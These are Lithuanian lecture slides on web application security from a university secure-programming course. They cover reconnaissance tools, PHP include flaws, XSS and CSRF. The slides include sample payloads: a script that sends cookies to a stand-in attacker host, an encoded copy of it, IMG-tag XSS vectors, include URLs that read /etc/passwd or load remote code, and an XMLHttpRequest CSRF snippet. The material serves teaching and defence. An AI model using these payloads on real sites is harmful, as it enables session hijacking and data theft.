WWW aplikacijų saugumas 2

Similar documents
Programinio kodo saugumas

Buferio perpildymo klaida Įvadas, techniniai klausimai

Elektroninis.lt šakninių sertifikatų diegimas

El. pašto konfigūravimas

Cross-Site Request Forgery

Parengė ITMM Artūras Šakalys 1

Trumpai-ilga istorija

Redis Ma as, greitas, galingas. Specialiai VilniusPHP

C++ programavimo kalba. Konstruktorius, destruktorius, klasių metodų modifikatoriai, objektų masyvai (4 paskaita)

Come to the TypeScript

XMLHttpRequest. CS144: Web Applications

Polimorfizmas. Lekt. dr. Pijus Kasparaitis m. m. pavasario semestras.

ios Uždara operacinė sistema skirta tik Apple įrenginiams: iphone ipad ipod touch Apple TV

JAVA pagrindai Lek. Liudas Drejeris

AJAX. Introduction. AJAX: Asynchronous JavaScript and XML

Introduction to InfoSec SQLI & XSS (R10+11) Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)

Windows saugumo požiūriu

Naujos galimybės su Lotus Notes 8.5.1: naudotojams ir programuotojams

INFORMACINĖS SISTEMOS INVENTORIAUS VALDYMO SISTEMA

PHP Lietuviškai. Turinys

Tautvydas Dagys Microsoft Lietuva

Use of PHP for DB Connection. Middle and Information Tier

C programavimo kalba. 3 paskaita (Sąlygos ir ciklo operatoriai, funkcija scanf() )

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

Gijos. Gijų modelis Javoje. R.Vaicekauskas, OP, 2017

1. AJAX įvadas. AJAX principai:

DUOMENŲ STRUKTŪROS IR ALGORITMAI. Rūšiavimo algoritmai (įterpimo, burbulo, išrinkimo)

Apletai (įskiepiai) Lekt. dr. Pijus Kasparaitis m. m. pavasario semestras.

Kompiuterių tinklai. IPv6 ir tuneliai

Kas yra masyvas? Skaičių masyvo A reikšmės: Elementų indeksai (numeriai): Užrašymas Turbo Paskaliu: A[1] A[2] A[3] A[4] A[5]

VERSLO KLIENTŲ APTARNAVIMAS TEL

Amadeus On-Line Helpdesk

AJAX. Lecture 26. Robb T. Koether. Fri, Mar 21, Hampden-Sydney College. Robb T. Koether (Hampden-Sydney College) AJAX Fri, Mar 21, / 16

Use of PHP for DB Connection. Middle and Information Tier. Middle and Information Tier

2017 m. pagrindinės sesijos informacinių technologijų valstybinio brandos egzamino programavimo užduoties galimi sprendimai

Founded the web application security lab

Register your product and get support at SHB9100. LT Vartotojo vadovas

Įdiegus TVS, turintys programavimo pagrindus, gali ir patys nesunkiai šį tą pakoreguoti.

Web development using PHP & MySQL with HTML5, CSS, JavaScript

Progress Exchange June, Phoenix, AZ, USA 1

A Lithuanian Verbalization Template for ORM conceptual models and rules

AJAX(Asynchronous Javascript + XML) Creating client-side dynamic Web pages

AJAX and PHP AJAX. Christian Wenz,

Rekomendacijos asmens duomenų apsaugai internete

User Interaction: jquery

WebApp development. Outline. Web app structure. HTML basics. 1. Fundamentals of a web app / website. Tiberiu Vilcu

Didelės apimties svetainės optimizavimas taikant SEO principus

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

PAIEŠKOS SISTEMŲ OPTIMIZAVIMO METODŲ ANALIZĖ

Resursų virtualizacija. 12 paskaita. Virtualizacija ir cloud computing

Web Application Security

Internetas. Programinė įranga Internetinei TV (IPTV) PAGRINDINĖS SAVYBĖS SYSTEMOS APŽVALGA

Client Side Injection on Web Applications

Redis. In-memory data structure store. Sergej Kurakin

Web Security. Thierry Sans

C++ programavimo kalba

Static Webpage Development

Kompiuterių tinklai UDP, NAT, SOCKS

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

Project 3 Web Security Part 1. Outline

Paskirstytos atminties lygiagretusis programavimas Įvadas į MPI

Security. CSC309 TA: Sukwon Oh

Step-by step guide for MRU students to uploading Master s Thesis to elaba repository

Cross-Site Scripting (XSS) Professor Larry Heimann Web Application Security Information Systems

C programavimo kalba. 5 paskaita (Funkcijos, masyvai)

ONSCREENKEYS 5. Windows XP / Windows Vista / Windows 7 / Windows 8 / Windows 10

WHY CSRF WORKS. Implicit authentication by Web browsers

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Web Application Penetration Testing

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Web Security: Vulnerabilities & Attacks

Programos gyvavimo ciklas

WEB SECURITY: XSS & CSRF

Web Security IV: Cross-Site Attacks

Kodėl programą sudaro daug failų? Sukurtos tipinės funkcijų galėtų būti panaudojamos dar kartą; Sudaroma aiškesnė programos struktūra; Sudaroma galimy

PHP PROGRAMOS EIGOS VYKDYMO VALDYMAS

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

A Comparison of Mining Incomplete and Inconsistent Data

A.A. 2008/09. What is Ajax?

Match the attack to its description:

Browser code isolation

CSC 482/582: Computer Security. Cross-Site Security

Setting Up a Development Server What Is a WAMP, MAMP, or LAMP? Installing a WAMP on Windows Testing the InstallationAlternative WAMPs Installing a

Teaching Mathematics in University Education through Internet

Management Information Systems

PHP & My SQL Duration-4-6 Months

Masyvai Javoje. Masyvai. Objektų talpyklos. Masyvo tipas. Deklaravimo pavyzdžiai. Deklaracija ir sukūrimas. Masyvo superklas - Object

ŠIAULIŲ UNIVERSITETAS MATEMATIKOS IR INFORMATIKOS FAKULTETAS INFORMATIKOS KATEDRA. Mindaugas Gapšys BAKALAURO DARBAS

RKN 2015 Application Layer Short Summary

HTML5. clicktag implementation

KLIENTŲ DUOMENŲ BAZĖS IR SANTYKIO SU KLIENTAIS VALDYMO PROGRAMA

XSSFor the win! What can be really done with Cross-Site Scripting.

Information Security CS 526 Topic 8

AJAX. Lab. de Bases de Dados e Aplicações Web MIEIC, FEUP 2010/11. Sérgio Nunes

Web technologijos. Hostingas JavaScript PHP

CITS1231 Web Technologies. Ajax and Web 2.0 Turning clunky website into interactive mashups

II SEKCIJA. Duomenų bazės ir modeliai

2. Pakopiniai stiliai

Phase I. Initialization. Research. Code Review. Troubleshooting. Login.aspx. M3THOD, LLC Project Documentation

Transcription:

WWW aplikacijų saugumas 2 Rolandas Griškevičius rolandas.griskevicius@fm.vgtu.lt MSN: rgrisha@hotmail.com http://fmf.vgtu.lt/~rgriskevicius 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 1

Įrankiai Google Į paieškos lauką įvedam site:www.delfi.lt filetype:php Pilnas paieškos operatorių sąrašas: http://www.googleguide.com/advanced_operators.html Google kaip proxy: Aprašyta čia: http://oreilly.com/pub/h/4807 Pvz: http://www.google.com/translate?langpair=en en&u=www.forbiddensite.com 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 2

Įrankiai 2 Server Sniffers: http://www.serversniff.net: Parodo serverio: DNS registratcijos įrašus Parodo visus serverio resurso: URL'us Komentarus Nmap online: http://nmap-online.com/ Skenuoja nutolusio IP atidarytus portus. 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 3

Įrankiai 3 http://www.domaintools.com/ - DNS informacija www.archive.org - Interneto archyvas. Galima pamatyti senesnes puslapių versijas http://whatismyipaddress.com - suranda IP pagal šalį nslookup netcat, socat -l klausymosi režimas -p portas -e kokią programą vykdyti esant susijungimui -v vykdymo vizualizacija 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 4

Įrankiai 4 Web puslapio analizė. Sutelkiamas dėmesys į form, input, komentarus <?..?> <% %> grep Dažniausiai prireikia: -i case insensitive -d <read recurse...> - kaip elgtis su katalogais -A -B <n> - atvaizduoti n eilučių po prieš surastąją labai praverčia regexp žinojimas: google grep regexp 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 5

IP tikrinimas Pagal šalį. Automatizuotas DB atsisiuntimas: wget software77.net/geo-ip?dl=1 -O IpToCountry.csv.gz Pagal proxy: Automatizuoto atsisiuntimo nėra, bet įmanoma rasti robotą : http://www.proxy4free.com/index.html Registruojant vartotoją pravartu tikrinti taip pat DNS bei pašto hosterius http://msmvps.com/blogs/spywaresucks/archive/2008/01/16 /1465721.aspx 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 6

Include Tai lankstus ir patogus mechanizmas Galima dinamiškai keisti puslapio turinį, tačiau Naudojamas nesaugiai gali sudaryti saugumo problemų Visiška skylė : <?php include($_get['content']);?> http://vulnerable.site/index.php?content=/etc/passwd http://vulnerable.site/index.php? content=http://malicious.com/exec.php php include[_once] vs require[_once] Apsisaugojimas tikrinimas pagal sarašą, ID, etc 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 7

TOP 1 pagal owasp.org XSS Galima vartotojui pakišti bet kokį JavaScript ir html kodą Pirminiame etape yra nukreipta prieš vartotoją, o ne aplikaciją Pasekmės: Pavogtas sesijos ID apsimetimo kitu vartotoju galimybė Galima pakeisti puslapio vaizdą, phishing atakos galimybė Galima skenuoti vartotojo tinklą 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 8

Vienpusis duomenų valymas Jei duomenys valomi tik įvedimo metu: apėjus įvedimo tikrinimą į puslapį injektuojamas javascript'as su cookie vagystės funkcija OS/lib/apache sanitize input display.php save.php DB buggy script 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 9

XSS 2 Kenkėjas užregistruoja puslapį kur nors free hosting'e Patalpina ten scriptą, pvz cookiesteal.cgi, kuris į failą išsaugo visus atėjusius GET Belieka injektuoti kenkėjišką JavaScript'ą: <SCRIPT> document.location= 'http://attackerhost.example/cgibin/cookiesteal.cgi?'+document.cookie </SCRIPT> 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 10

Nekaltas XSS Iš pažiūros šiukšlių krūva, tačiau iš tikrųjų užkoduotas JavaScript http://host/a.php?variable=%22%3e%3c %73%63%72%69%70%74%3e%64%6f%63%75%6d %65%6e%74%2e%6c%6f%63%61%74%69%6f%6e %3d%27%68%74%74%70%3a%2f%2f %77%77%77%2e %63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b%69%65%2e%63%67%69%3f %27%20%2b%64%6f%63% 75%6d%65%6e %74%2e%63%6f%6f%6b%69%65%3c%2f %73%63%72%69%70%74%3e 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 11

IMG (ir pan.) XSS http://ha.ckers.org/xss.html <IMG SRC=javascript:alert('XSS')> Be <script> </script> tag'ų!!! <IMG SRC= javascript:alert(string.fromcharcode(88,83,83))> <IMG SRC=javasc ript:al&#10 1;rt(&#39;XSS&#39;& #41;> Taip pat galimi XSS tag'ai : BGSOUND, <BR SIZE="&{alert('XSS')}">, LAYER, <LINK REL=.../>, STYLE, META, IFRAME, FRAMESET etc 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 12

CSRF Vienas iš pavojingiausių atakos tipų Labai sunku nustatyti, kad vartotojas buvo nekaltas 2 sąlygos: Automatinė autentifikacija naudojant cookie arba GET XSS pažeidžiamumas Tokiu atveju į serverį yra siunčiamas injektuotas GET kodas ir jis suveikia, nes Serveris mato tą patį IP Cookie yra tas pats, nes kreipiasi ta pati naršyklė, standartinėmis savo priemonėmis Vartotojas apie tai nieko nežino 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 13

CSRF su POST CSRF veikia su su POST, panaudojus XMLHTTP objektą Firefox - xmlhttprequest <script> var post_data = 'name=value'; var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("post", 'http://url/path/file.ext', true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readystate == 4) { alert(xmlhttp.responsetext); } }; xmlhttp.send(post_data); </script> 2010-11-26 R. Griškevičius, Saugus programavimas, VGTU, 2009 14